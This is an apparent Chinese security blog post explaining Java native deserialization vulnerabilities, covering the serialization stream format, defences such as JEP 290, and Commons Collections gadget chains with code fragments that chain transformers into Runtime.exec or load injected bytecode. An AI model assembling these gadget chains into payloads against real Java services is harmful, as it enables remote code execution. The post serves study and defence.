Java原生序列化漏洞之反序列化利用链

Published: 2021年10月10日

In Vuln.

上次写反序列化的还在两年前,本打算写一个系列但工作原因没写了,后来博客都荒废了,现在重新捡起来做一下总结归档吧,用到好查,持续更新...

基础鸡嘻

类加载

JVM只指定Class文件的规范,辣么Class来自哪里随意,比如可以来自网络位置,内存中,磁盘上,这在Java中由ClassLoader实现,它负责加载类,Java默认使用双亲委派机制,即未加载的类先派发给父类加载,逐级向上,直到可以加载它,若都不能才由该加载器加载,我们可以自定义加载器,这可能涉及三个方法findClass/loadClass/defineClass,一般是实现findClass,而实现loadClass可以破坏双亲委派,defineClass是Java层面最终加载类的方法,它将输入的bytes解析为类,但是它不会初始化类,类初始化只会在必要的时候做(如访问类成员/反射/实例化等),在Class里有两种特殊方法<init><cinit>,前者是实例初始方法后者是类初始化方法,类初始化时会调用后者。这里主要关注URLClassLoader,它实现了从远端加载Class的能力,使用它可以通过文件协议或http协议从不在classpath的路径中加载类。

反射

反射就是在运行时修改程序行为,Java一切皆对象自然要从类对象开始,反射时使用如下方式获取类,它是反射的起点,这里的initialize表示是否对类做初始化:

Class<?> forName(String name, boolean initialize, ClassLoader loader);
// 等于Class.forName(className, true, currentLoader)
Class<?> forName(String name);

想想之前遇到的,JDBC驱动的forName,就是为了强制其初始化,它的类初始化代码会将其插入提供者链表。

要获取类的对象实例一般是使用newInstance,它使用的是无参公共构造函数,否则需要用getConstructor获取构造函数并用invoke调用,而普通方法需要用getMethod获取,它们都是获取当前类声明或父类继承的公共方法,而受保护/私有方法需要用Declared前缀的获取,它能获取当前类(即不包括父类)声明的所有方法,如getDeclaredConstructor可获取当前类中的所有构造方法而无视访问属性,类似的还有getFieldgetDeclaredField用于获取属性,此时使用get/set去访问属性,另外尽管Declared能获取到私有部分但不能直接使用,需要使用setAccessible(true)置其可访问。

动态代理

代理模式用于解偶,而动态代理是运行时自动生成代理类,在程序中使用的是代理类的实例对象,但是它的类其实是在运行时生成的,所以这个类之前不必存在,在Java中容易见到两种实现,一种是原生的,一种是cglibc,前者速度快但只支持接口的实现类,而后者无此限制,它们被广泛用于Spring等,这里关注前者,它有三部分<1>要代理的接口,<2>接口的实现(委托对象),<3>动态代理Handler,如下:

package MyProxy;

import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;

public class DynamicProxy {
    public static void main(String[] args) {
        // 实例化委托对象
        Cat cat = new Cat("Beta");  
        // 使用反射,为委托对象创建InvocationHandler,用于处理代理逻辑
        MyInvocationHandler handler = new InvocationHandler(cat);  
        // 创建代理类并实例化
        Pet p = (Pet) Proxy.newProxyInstance(Cat.class.getClassLoader(), Cat.class.getInterfaces(), handler);  
        // 使用代理调用cat的方法
        p.eat();
    }
}

class MyInvocationHandler<T> implements InvocationHandler {
    private T target;

    MyInvocationHandler(T target) {
        this.target = target;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("Dynamic Proxy....");
        // 一般是在这里做拦截操作...
        return method.invoke(target, args);
    }
}

这里的Handler是实现了InvocationHandler接口的类,它主要就是要实现invoke方法,使用Proxy.newProxyInstance组合三者返回代理类的实例,可以把代理类dump出来看看它长啥样,不多说...

注解

类似于注释但在多个阶段可使用,如可创建运行时有效的注解,运行时使用反射获取其值并进行相应动作,相比于注释它的约束更强且在特定阶段有效...

反序列化漏洞

序列化

序列化用于保存对象的状态,并在必要时恢复(反序列化),Java自身提供了序列化支持,只要类实现了Serializable/Externalizable接口即可,它们都是个空接口仅用于标记,而这里面的安全问题就是,若反序列化时实现了一些危险的操作,就可能造成反序列化漏洞。具体的可见文档,这里只需关注它定义的序列化协议:

stream:
  magic version contents  # magic: ac ed  version: 00 05 它们组合为序列化流头部 后接序列化内容

contents:  
  content
  contents content  # 递归定义

content:  # 一个content可以是一个object或者blockdata
  blockdata:
    blockdatashort:
        TC_BLOCKDATA (unsigned byte)<size> (byte)[size]
    blockdatalong:
        TC_BLOCKDATALONG (int)<size> (byte)[size]
  object:
    newObject:
        TC_OBJECT classDesc newHandle classdata[]  # data for each class
            classDesc:
                newClassDesc
                nullReference
                (ClassDesc)prevObject      # 之前使用过的ClassDesc类型对象
            newHandle: # 在非共享模式下被序列化的对象引用的对象在被多次引用时只有第一次会被真正序列化(即此处)并为其生成一个序号(即newHandle)该序号从0x7E0000开始
                       # 递增之后再遇到引用了已经被序列化的类时秩序要引用对应的handle即可(见下面的prevObject)
            classdata:
                nowrclass:  values        # SC_SERIALIZABLE & classDescFlag && !(SC_WRITE_METHOD & classDescFlags) 按类描述符顺序排列的字段
                wrclass objectAnnotation  # SC_SERIALIZABLE & classDescFlag && SC_WRITE_METHOD & classDescFlags
                    wrclass:  nowrclass
                externalContents:         #  SC_EXTERNALIZABLE & classDescFlag && !(SC_BLOCKDATA  & classDescFlags  readExternal使用
                    externalContent:     
                      ( bytes)                # primitive data
                          object
                    externalContents externalContent
                objectAnnotation:             # SC_EXTERNALIZABLE & classDescFlag&&  SC_BLOCKDATA & classDescFlags
                    endBlockData
                    contents endBlockData     # contents written by writeObject
                                              # or writeExternal PROTOCOL_VERSION_2.

    newClass:
        TC_CLASS classDesc newHandle
    newArray:
        TC_ARRAY classDesc newHandle (int)<size> values[size]
    newString:
        TC_STRING newHandle (utf)
        TC_LONGSTRING newHandle (long-utf)
    newEnum:
        TC_ENUM classDesc newHandle enumConstantName
            enumConstantName:    (String)object
    newClassDesc:
        TC_CLASSDESC className serialVersionUID newHandle classDescInfo  # 普通类描述
            className:  (utf)
            serialVersionUID:  (long)
            classDescInfo:  classDescFlags fields classAnnotation superClassDesc 
                classDescFlags:  (byte)                  # 类的一些和序列化相关的标志
                fields:  (short)<count>  fieldDesc[count]
                    fieldDesc:
                        primitiveDesc:  prim_typecode fieldName  # prim_typecode可以是B(byte)/C(char)/J(long)/F(float)/I(integer)/D(double)/S(short)/Z(boolean)
                        objectDesc:  obj_typecode fieldName className1  # obj_typecode可以是[(array)或L(object)
                            fieldName:  (utf)
                classAnnotation:
                    endBlockData:
                        TC_ENDBLOCKDATA
                    contents endBlockData      # contents written by annotateClass
                superClassDesc:  classDesc
        TC_PROXYCLASSDESC newHandle proxyClassDescInfo  # 代理类描述由标志 接口数 接口名 类注解组成
            proxyClassDescInfo:
                (int)<count> proxyInterfaceName[count] classAnnotation
                    proxyInterfaceName:  (utf)
                superClassDesc
    prevObject
        TC_REFERENCE (int)handle
    nullReference
        TC_NULL
    exception:
        TC_EXCEPTION reset (Throwable)object         reset 
    TC_RESET        # 会重置流如handle编号会重置

这在分析流量/插件等需要用到,可用SerializationDumper解析,正常保存和恢复对象是没问题的,但是有些对象不方便保存或因为一些特殊原因要自定义,Java也是想到了,如实现Serializable接口的类可实现自己的writeObjectreadObject,这里关注后者,其签名如下,注意这里不是重载/重写,它实现了序列化协议规定的一个函数:

private void readObject(java.io.ObjectInputStream s);

于是在反序列化时,会直接直接执行它恢复对象而不是执行默认行为,那如果某个类实现了readObject且里面有危险行为那么提供对应的序列化数据就能触发危险行为,不过这种情况比较少,更多的还是要更复杂的操作,这依赖于具体的环境,要知道反序列化本身不是漏洞,但在存在某些条件时可造成漏洞,这里的危害依条件而定,如任意文件删除,远程代码执行等,之后会分析一些条件...

注:(1)Externalizable是完全自定义,static修饰的是类属性不属于对象的状态,transint就用于这里表示不序列化该属性...

(2)serialVersionUID不一致会反序列化失败,此时若能返回正确SUID则直接改,没有就只能实施爆破所有...

在漏洞挖掘时需要重点关注这部分,黑盒可看流量里是否存在ACED0005/rO0,而白盒可以搜索如下关键词:

readObject()
readExternal()
readResolve()
readObjectNoData()
readUnshared()
validateObject()
finalize()
...

防御

反序列化非常灵活,当前并没有特别完美的手段,如下:

缓解措施 说明 绕过方式
降权 临时降权可能被绕 Nil..
去掉反序列化 我都不用了你还能打我? Nil...
Look-Ahead 通过重载resolveClass等方式在反序列化时验证类名,加名单防护,可自己实现,也可使用SerialKiller 拒绝服务,黑名单是拦不完滴
去掉危险类 删除危险的类,不使用危险的组件,必须用时使用最新版 删的完吗?删不完得啦
不反序列化不受信数据 一般就是对数据进行签名或加密,使用户无法构造合法的数据包,这限制了适用的场景 需寄希望于校验逻辑存在漏洞或者密钥泄漏
名称空间布局随机化 就是不让攻击者知道有哪些类,无从下手 Nil..
RASP 它可以防御多种漏洞,当然也包括反序列化,这方面和单纯的JavaAgent方式差不多 Nil...
JavaAgent 对于已存在不方便修改的项目可使用它去动态打补丁,也可以通过行为方式对攻击进行拦截 攻击它未防御的危险函数,如只防御了代码执行未防御文件操作,或者其他可能的点
JEP290 290号Java增强提案是在Java本身提供反序列化类过滤机制,用户直接通过配置文件即可使用它。它从6u141/7u131/8u121开始被引入 反序列化漏洞的末日?JEP290机制研究RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析ATTACKING JAVA RMI SERVICES AFTER JEP 290

CC利用链

一般反序列化都会从这里开始吧,CC(Commons Collections)作为Java标准Collections API的补充,对其常见数据结构提供了很好的封装抽象与补充,这里面的常见数据结构就是各种容器,如Map/Set/List/Queue等,作为容器它们里面可以存放各种对象,存放数据的属性导致本身符合逻辑的支持原生序列化操作,而这些容器本身的特性会使其在重建(反序列化)时执行一些特殊行为,因此这个库是一个反序列化利用链大宝库,下面介绍CC链里涉及到特性

目的:代码执行

CC里涉及两种代码执行的方式,前者完全使用CC自带的功能,后者也依赖于CC提供的transform机制:

transform

它提供一种转换机制,能将一种结构/数据转换为另一种,它是由实现了Transformer接口的类实现的,这些类大都是可序列化的,且能通过反射执行一些骚操作,如InvokerTransformer类可执行函数调用,ChainedTransformer能进行链式转换,因此可把一些有趣的操作封装到Transformer里,并让某对象在反序列化时执行transform操作,由于链式反射限制较多,一般会将其转化为命令执行,也可通过URLClassLoader.loadClass().newInstance()去进一步转换为代码注入:

// 链式调用到Runtime.getRuntime.exec("xxx")
final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
    new ConstantTransformer(1) 
};

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

classloader

这种方式更灵活,它利用defineClass创建并初始化任意类,这是由TrAXFilter类在实例化时触发的,而这个触发也是利用了transform的InstantiateTransformer类实现的,这是更纯粹的代码注入,可以轻易实现任意功能!

// 转换时调用TrAXFilter构造器
final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[] { Templates.class },
        new Object[] { templatesImpl } )};
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// 构造器调用templates.newTransformer()
public class TrAXFilter extends XMLFilterImpl {
    public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _overrideDefaultParser = _transformer.overrideDefaultParser();
    }
    ...

// 最终调用到defineClass
public final class TemplatesImpl implements Templates, Serializable {  
    public synchronized Transformer newTransformer() throws TransformerConfigurationException {
        TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);
        ...
    private Translet getTransletInstance() throws TransformerConfigurationException {
        this.defineTransletClasses();
        AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();  // 会调用到静态块
        ...
    private void defineTransletClasses() throws TransformerConfigurationException {
        for(int i = 0; i < classCount; ++i) {
            this._class[i] = loader.defineClass(this._bytecodes[i]);  // 注意,defineClass不会初始化
          // 因此这里的类要继承于AbstractTranslet,否则之后的判断会抛异常,到达不了初始化的位置
        ...

注:这里的核心是到达defineClassnewInstance,入口不一定要这么长,如若能在其他位置实例化templates则可让它直接调用newTransformer(),或者在无视访问属性时直接调用getTransletInstance(),抑或调用getOutputProperties,这在之后的利用链里有出现...

桥接:转桥接或目的

上面都用到了ChainedTransformer类,它本身未实现readObject且能在其内进行链式转换,因此无法在反序列化时直接被触发,需要再找某对象包含且在反序列化时会调用它,当前没有这么直接的类,但是有些类会调用transform,且它们可以嵌入其他对象,且在其他对象反序列化时会触发它,这里的中间类就是直接桥接类,还有种类它不会直接调用到transform但是会触发直接桥接类,可把它叫做间接桥接类

TransformingComparator

这是CC实现的比较器,前缀表示它用了transform机制,后缀表示实现了Comparator接口,会在比较时调用它的compare方法,而该方法会调用transform。

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
    private final Transformer<? super I, ? extends O> transformer;
    // 比较时会触发
    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);  
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

还有个常见的比较器BeanComparator位于CB(Commons-Beanutils),CB是一个封装了一些便携的操纵Bean方法的库,里面提供的BeanComparator可桥接触发getter

public class BeanComparator<T> implements Comparator<T>, Serializable {
    private String property;  // 想比较的属性
    public int compare(T o1, T o2) {
        if (this.property == null) {
            return this.internalCompare(o1, o2);
        } else {
            Object value1 = PropertyUtils.getProperty(o1, this.property);  //获取属性,使用getter方法
            Object value2 = PropertyUtils.getProperty(o2, this.property);
            return this.internalCompare(value1, value2);
        }
    }

LazyMap

所谓懒,就是它封装了一个map实现类用于存储数据,但初始时没有内容,它重写了get方法,在第一次获取key/value(不存在)时,会调用transform生成数据并缓存于map中。

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    protected final Transformer factory;
    // 第一次get某key时会触发
    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
    ...

同理还有3.2新增的DefaultedMap,它和LazyMap一样,就不多说了。这里再看另一个点,将LazyMap触发点扩大到equals了,如下,可让equals的参数调用get

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    // 它未实现equals,因此调用了AbstractMapDecorator的equals
    // 它里面包含一个实现了Map接口的属性,位于AbstractMapDecorator,令其为HashMap实例
}

public abstract class AbstractMapDecorator implements Map {
    protected transient Map map;
    public boolean equals(Object object) {
        return object == this ? true : this.map.equals(object);  // 调用到HashMap的equals
    }
}
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
    // 未实现equals,调用的AbstractMap的实现
}

public abstract class AbstractMap<K,V> implements Map<K,V> {
    public boolean equals(Object o) {
        ...
        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))  // m=>o=>LazyMap
        ...

TiedMapEntry

Entry即Map的一个键值对条目,实在没搞懂这个TiedMapEntry在什么场合用,但是不妨碍知道它的特性,它是个间接桥接类,其内部含map且可触发,如下equals/hashCode/toString三个特殊方法都会间接调用map.get()而桥接到LazyMap.get(),由于这三个特殊方法相比于map.get()更广泛的被调用,因此特别适合做跳板:

public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private final Map map;  
    private final Object key;

    public Object getValue() {
        return this.map.get(this.key);  // LazyMap.get()
    }

    public boolean equals(Object obj) {
        ...
        } else {
            Entry other = (Entry)obj;
            Object value = this.getValue();
            return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
        }
    }

    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }
}

TransformedMap

这个点有点难用,它是发生在该类的Entry.setValue上的,如下在迭代Entry时会调到checkSetValue

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    protected final Transformer valueTransformer;
    // 显然这个函数应该是作用在Entry上的,需要从Entry上调,它的Entry在父类上
    protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }
}
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {
    public Set entrySet() {
        return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this) : super.map.entrySet());}
    static class EntrySet extends AbstractSetDecorator {
        public Iterator iterator() {
            return new AbstractInputCheckedMapDecorator.EntrySetIterator(super.collection.iterator(), this.parent);
        ...}
    static class EntrySetIterator extends AbstractIteratorDecorator {
        public Object next() {
            Entry entry = (Entry)super.iterator.next();
            return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
        ...}
    static class MapEntry extends AbstractMapEntryDecorator {
        public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return super.entry.setValue(value);}

入口:转桥接

这里的入口,它一定要满足两个需求,<1>实现了readObject与<2>在内部调用了桥接类的关键方法,下面的这些类可能在CC里也可能不在,不重要

AnnotationInvocationHandler

前缀Annotation表示注解,后缀InvocationHandler表示动态代理的handler,它是JDK的类,本身用于处理动态,因此存在两种触发方式,第一种使用嵌套在entrySet处触发,另一种不使用嵌套在setValue处触发:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Map<String, Object> memberValues;  // 作为一个handler它里面可以嵌map

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        ...
        // memberValues为动态代理的实例,它的接口是Map,handler是AnnotationInvocationHandler,因此这里会调用到内层AnnotationInvocationHandler.invoke
        Iterator var4 = this.memberValues.entrySet().iterator();  
        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    // 到这里,可让memberValues为TransformedMap,这时的Entry.setValue可触发
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }

    public Object invoke(Object var1, Method var2, Object[] var3) {  // handler
        String var4 = var2.getName();
        ...
        // 这里会判断方法名是否是toString/hashCode/annotationType,是的话走其他路径,否则进这
            default:
                Object var6 = this.memberValues.get(var4);  // 这个内层的memberValues为纯纯LazyMap

BadAttributeValueExpException

这个类是JDK自带的,在JMX查询时,传入无效MBean属性时使用它封装对象,它在反序列化时会调用toString方法,可桥接到TiedMapEntry.toString

public class BadAttributeValueExpException extends Exception   {  // Exception可反序列化
    private Object val;  // 放任意对象
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);  
        ...
        } else if (System.getSecurityManager() == null  // !! 需要未启用安全管理器
                ...
                || valObj instanceof Boolean) {
            val = valObj.toString();
        ...
    }
 }

Hashtable/HashSet

昂后者是前者的特例,单看前者注意它的哈希特性,这玩意儿没法序列化,只能在重建时根据算法重新插入,此时会计算每个键的hashCode,于是可桥接到TiedMapEntry.hashCode,另外它在插入时会判断是否存在hash冲突,即键不同但hash值一致,此时它会调用equals方法,可桥接到:

public class Hashtable<K,V> extends Dictionary<K,V> implements Map<K,V>, Cloneable, java.io.Serializable {
    private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        ...
        for (; elements > 0; elements--) {  // 重构hash表,挨个读取并插入
            K key = (K)s.readObject();
            V value = (V)s.readObject();
            reconstitutionPut(newTable, key, value);  
        }
    }
    private void reconstitutionPut(Entry<K,V>[] tab, K key, V value) throws StreamCorruptedException {
        int hash = hash(key);               // 这里会计算键的hashCode
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {        // 这里是另一个点,需要hash没有触发时才能到
                throw new java.io.StreamCorruptedException();
            }
        }
        ...
    }
    private int hash(Object k) {
        return hashSeed ^ k.hashCode();  // 会调用到key.hashCode()
    }
}

PriorityQueue

优先级队列既然有了优先级自然要有comparator去比较,可通过TransformingComparator.compare桥接:

public class PriorityQueue<E> extends AbstractQueue<E> implements java.io.Serializable {
    private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        ...
        queue = new Object[size];
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
        heapify();
    }
    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)  // 大于1个元素才会处理
            siftDown(i, (E) queue[i]);
    }
    private void siftDown(int k, E x) {
            siftDownUsingComparator(k, x);
    }
    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)  // 注意这里比较时的顺序
            ...
    }}}

TreeBag

Bag是种结构实现了Collection接口,它的语义是记录对象在容器内出现的次数,这里主要关注前缀Tree,它表明该结构是用树实现的(除此外还有哈希实现),树就涉及到排序,排序就涉及到比较,于是又回到了Compare了,于是在插入/重建时:

public class TreeBag<E> extends AbstractMapBag<E> implements SortedBag<E>, Serializable {
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Comparator<? super E> comp = (Comparator)in.readObject();  // 获取比较器
        super.doReadObject(new TreeMap(comp), in);
    }
    protected void doReadObject(Map<E, AbstractMapBag.MutableInteger> map, ObjectInputStream in) throws IOException, ClassNotFoundException {
        this.map = map;
        int entrySize = in.readInt();

        for(int i = 0; i < entrySize; ++i) {
            E obj = in.readObject();
            int count = in.readInt();
            map.put(obj, new AbstractMapBag.MutableInteger(count));  // TreeMap的put操作
            this.size += count;
        }
    }
    ...
    public V put(K key, V value) {  // TreeMap
        Entry<K,V> t = root;
        if (t == null) {
            compare(key, key); // yeah
        ...

注:这里面并不是所有涉及到的类都需要是可序列化的,如TrAXFilter类,由于它并不需要被反序列化因此不会有影响...

炒在一起

将上面的糅合在一起,就有了如下图,可见有很多条链:

img

修复

1.3.2.2InvokerTransformer, CloneTransformer, ForClosure, InstantiateFactory, InstantiateTransformer, InvokerTransformer, PrototypeCloneFactory, PrototypeSerializationFactory, WhileClosure实现了readObject函数,在其执行反序列化前先判断是否允许,默认不允许反序列化

2.4.1InvokeTransformerInstantiateTransformer改为不可序列化

3.jdk8(TODO:查查详细的版本号)主要修复了AnnotationInvocationHandler.java的问题,如下,在使用LazyMap时它直接把内层的转换为LinkedHashMap了,而使用TransformingComparatorsetValue代码也没了:

img

自身利用链

DNSLOG

不算利用链,但是对于快速不精确检测反序列化点很有效,它利用了URL对象的hashCode会解析host的IP,于是将其放入HashMap的key,在反序列化时会调用URL对象的hashCode,如下:

public final class URL implements java.io.Serializable {
    public synchronized int hashCode() {
        if (hashCode != -1)  // hashCode为-1表示未缓存
            return hashCode;
        hashCode = handler.hashCode(this);
      ...}}
public final class URL implements java.io.Serializable {
    protected int hashCode(URL u) {
        InetAddress addr = getHostAddress(u);
      ...}
    protected synchronized InetAddress getHostAddress(URL u) {
        u.hostAddress = InetAddress.getByName(host);  // DNS解析
            ...}}

JDK7u21

...

JDK8u20

...

参考

本文主要参考白猪大哥的思路,咔咔一顿操作就好了,其实跟着这种思路,还有很多地方没有看,相信在那些地方还能找到很多利用点,这个以后再慢慢补吧,若工作能遇到的话...

[1] Java反序列化利用链挖掘之CommonsCollections1 -- wh1t3p1g

[2] Java反序列化利用链挖掘之CommonsCollections3 -- wh1t3p1g

[3] Java反序列化利用链挖掘之CommonsCollections5,6,7,9,10 -- wh1t3p1g

[4] Java反序列化利用链挖掘之CommonsCollections2,4,8 -- wh1t3p1g

[5] Java反序列化系列 ysoserial Jdk7u21 -- Alpha@天融信阿尔法实验室

[6] Java反序列 Jdk7u21 Payload 学习笔记 -- b1ngzz@小米安全中心

[7] Java 8u20反序列化漏洞分析 -- Alpha@天融信阿尔法实验室

[8] 深度 - Java 反序列化 Payload 之 JRE8u20 -- n1nty

[9] Java安全漫谈系列 -- phith0n